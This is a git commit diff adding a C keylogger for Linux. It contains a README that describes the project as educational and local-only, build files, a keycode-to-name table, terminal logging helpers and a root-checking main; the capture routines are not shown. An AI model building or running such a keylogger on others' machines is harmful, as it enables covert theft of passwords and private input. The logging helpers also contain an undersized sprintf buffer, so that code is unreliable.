Merge pull request #1 from rounnus/dev

Done with everything.
constarg · Nov 17, 2021 · f919703 · f919703
2 parents 06bdc39 + c207b61
commit f919703
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diff --git a/.gitignore b/.gitignore
@@ -50,3 +50,6 @@ modules.order
 Module.symvers
 Mkfile.old
 dkms.conf
+
+cmake-build-debug
+.idea
diff --git a/CMakeLists.txt b/CMakeLists.txt
@@ -0,0 +1,22 @@
+cmake_minimum_required(VERSION 3.20)
+project(linux_keylogger C)
+
+set(CMAKE_C_STANDARD 99)
+
+add_executable(linux_keylogger main.c tools/include/file/file_handler.h tools/file_handler.c mapper/kb_mapper.c mapper/include/kb_mapper.h worker/kb_worker.c worker/include/kb_worker.h logger/include/logs/logger.h mem/include/mem.h kb_logger/include/kb_decoder.h kb_logger/kb_decoder.c tools/include/constants/constants.h)
+
+set(GCC_COVERAGE_COMPILE_FLAGS "-pthread")
+set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${GCC_COVERAGE_COMPILE_FLAGS}")
+
+file(MAKE_DIRECTORY /home/$ENV{USER}/.local/share/keylogger/)
+file(MAKE_DIRECTORY /home/$ENV{USER}/.local/share/keylogger/logs)
+
+include_directories(
+        tools/include
+        worker/include
+        mapper/include
+        kb_logger/include
+        data_structures/include
+        logger/include
+        mem/include
+)
diff --git a/README.md b/README.md
@@ -1,2 +1,33 @@
-# linux-keylogger
-simple keylogger for linux based systems, written in c.
+# Introduction
+This keylogger is a project that was made for educational purposes and does not send any key to the internet. What it does is take the keys and store them in a local file. I wanted to make such a keylogger for a long time to learn how a program could take keystrokes and use them either for good or for bad.
+
+# Download & Build
+
+First download the program from GitHub and go to the linux-keylogger folder.
+
+```
+% git clone https://github.com/rounnus/linux-keylogger.git
+% cd linux-keylogger/
+```
+
+After installation the program must be built. In order to build the program, the following instructions must be
+followed.<br>
+
+```
+% mkdir build
+% cd build/
+% cmake ../
+% make
+```
+
+`
+The cmake should be from version 3.20 and above, if you do not have this version please go to the following site and download the latest version:
+https://cmake.org/download/
+`
+
+After this the program will be installed and ready to run.
+
+# Features
+- [x] Auto detect keyboard.
+- [x] Work with multiple keyboards.
+- [x] Detect any new keyboard on air.
diff --git a/kb_logger/include/kb_decoder.h b/kb_logger/include/kb_decoder.h
@@ -0,0 +1,12 @@
+/* decode.h */
+#ifndef LINUX_KEYLOGGER_KB_DECODER_H
+#define LINUX_KEYLOGGER_KB_DECODER_H
+
+struct kb_dec_key {
+    char *kb_key_name;
+    int   kb_key_code;
+};
+
+extern struct kb_dec_key *decode(int key_code);
+
+#endif
diff --git a/kb_logger/kb_decoder.c b/kb_logger/kb_decoder.c
@@ -0,0 +1,69 @@
+#include <kb_decoder.h>
+#include <linux/input-event-codes.h>
+#include <stddef.h>
+
+#define KEY_NUMBERS 52
+
+#define KEY_ALT 56
+#define KEY_SUPER 125
+
+static struct kb_dec_key kb_dec_keys[KEY_NUMBERS] = {
+        {.kb_key_code = KEY_1,          .kb_key_name = "1"          },
+        {.kb_key_code = KEY_2,          .kb_key_name = "2"          },
+        {.kb_key_code = KEY_3,          .kb_key_name = "3"          },
+        {.kb_key_code = KEY_4,          .kb_key_name = "4"          },
+        {.kb_key_code = KEY_5,          .kb_key_name = "5"          },
+        {.kb_key_code = KEY_6,          .kb_key_name = "6"          },
+        {.kb_key_code = KEY_7,          .kb_key_name = "7"          },
+        {.kb_key_code = KEY_8,          .kb_key_name = "8"          },
+        {.kb_key_code = KEY_9,          .kb_key_name = "9"          },
+        {.kb_key_code = KEY_0,          .kb_key_name = "0"          },
+        {.kb_key_code = KEY_ESC,        .kb_key_name = "ESC"        },
+        {.kb_key_code = KEY_MINUS,      .kb_key_name = "-"          },
+        {.kb_key_code = KEY_EQUAL,      .kb_key_name = "="          },
+        {.kb_key_code = KEY_BACKSPACE,  .kb_key_name = "{BACKSPACE}"},
+        {.kb_key_code = KEY_TAB,        .kb_key_name = "{TAB}"      },
+        {.kb_key_code = KEY_A,          .kb_key_name = "A"          },
+        {.kb_key_code = KEY_B,          .kb_key_name = "B"          },
+        {.kb_key_code = KEY_C,          .kb_key_name = "C"          },
+        {.kb_key_code = KEY_D,          .kb_key_name = "D"          },
+        {.kb_key_code = KEY_E,          .kb_key_name = "E"          },
+        {.kb_key_code = KEY_F,          .kb_key_name = "F"          },
+        {.kb_key_code = KEY_G,          .kb_key_name = "G"          },
+        {.kb_key_code = KEY_H,          .kb_key_name = "H"          },
+        {.kb_key_code = KEY_I,          .kb_key_name = "I"          },
+        {.kb_key_code = KEY_J,          .kb_key_name = "J"          },
+        {.kb_key_code = KEY_K,          .kb_key_name = "K"          },
+        {.kb_key_code = KEY_L,          .kb_key_name = "L"          },
+        {.kb_key_code = KEY_M,          .kb_key_name = "M"          },
+        {.kb_key_code = KEY_N,          .kb_key_name = "N"          },
+        {.kb_key_code = KEY_O,          .kb_key_name = "O"          },
+        {.kb_key_code = KEY_P,          .kb_key_name = "P"          },
+        {.kb_key_code = KEY_Q,          .kb_key_name = "Q"          },
+        {.kb_key_code = KEY_R,          .kb_key_name = "R"          },
+        {.kb_key_code = KEY_S,          .kb_key_name = "S"          },
+        {.kb_key_code = KEY_T,          .kb_key_name = "T"          },
+        {.kb_key_code = KEY_U,          .kb_key_name = "U"          },
+        {.kb_key_code = KEY_V,          .kb_key_name = "V"          },
+        {.kb_key_code = KEY_W,          .kb_key_name = "W"          },
+        {.kb_key_code = KEY_X,          .kb_key_name = "X"          },
+        {.kb_key_code = KEY_Y,          .kb_key_name = "Y"          },
+        {.kb_key_code = KEY_Z,          .kb_key_name = "Z"          },
+        {.kb_key_code = KEY_ENTER,      .kb_key_name = "{ENTER}"    },
+        {.kb_key_code = KEY_LEFTCTRL,   .kb_key_name = "{CTRL}"     },
+        {.kb_key_code = KEY_LEFTSHIFT,  .kb_key_name = "{SHIFT}"    },
+        {.kb_key_code = KEY_COMMA,      .kb_key_name = ","          },
+        {.kb_key_code = KEY_DOT,        .kb_key_name = "."          },
+        {.kb_key_code = KEY_RIGHTSHIFT, .kb_key_name = "{SHIFT}"    },
+        {.kb_key_code = KEY_SPACE,      .kb_key_name = "{SPACE}"    },
+        {.kb_key_code = KEY_CAPSLOCK,   .kb_key_name = "{CAPTSLOCK}"},
+        {.kb_key_code = KEY_ALT,        .kb_key_name = "{ALT}"      },
+        {.kb_key_code = KEY_SUPER,      .kb_key_name = "{SUPER}"    }
+};
+
+
+struct kb_dec_key *decode(int key_code) {
+    for (int key = 0; key < KEY_NUMBERS; key++) if (kb_dec_keys[key].kb_key_code == key_code) return &kb_dec_keys[key];
+    return NULL;
+}
+
diff --git a/logger/include/logs/logger.h b/logger/include/logs/logger.h
@@ -0,0 +1,24 @@
+/* logger.h */
+#ifndef LINUX_KEYLOGGER_LOGGER_H
+#define LINUX_KEYLOGGER_LOGGER_H
+
+
+#include <stdio.h>
+#include <string.h>
+
+static void inline make_terminal_log(const char *message, int kb_id) {
+    char *kb_msg = "Keyboard-";
+    char output[strlen(message) + strlen(kb_msg) + 5];
+    sprintf(output, "%s%d: %s", kb_msg, kb_id, message);
+
+    printf("%s\n",output);
+}
+
+static void inline make_keystroke_log(const char *keystroke, int kb_id) {
+    char *basic_msg = "Pressed key has been captured:";
+    char message[strlen(basic_msg) + strlen(keystroke)];
+    sprintf(message, "%s %s", basic_msg, keystroke);
+    make_terminal_log(message, kb_id);
+}
+
+#endif
diff --git a/main.c b/main.c
@@ -0,0 +1,15 @@
+#include <kb_mapper.h>
+#include <unistd.h>
+#include <logs/logger.h>
+
+#define NO_ROOT "Failed to start, run as root"
+
+int main() {
+    if (geteuid() != 0) {
+        make_terminal_log(NO_ROOT, 0);
+        return 0;
+    }
+
+    map_keyboards();
+    return 0;
+}
diff --git a/mapper/include/kb_mapper.h b/mapper/include/kb_mapper.h
@@ -0,0 +1,10 @@
+/* kb_mapper.h */
+#ifndef LINUX_KEYLOGGER_KB_MAPPER_H
+#define LINUX_KEYLOGGER_KB_MAPPER_H
+
+#include <stdint.h>
+#include <pthread.h>
+
+extern void map_keyboards();
+
+#endif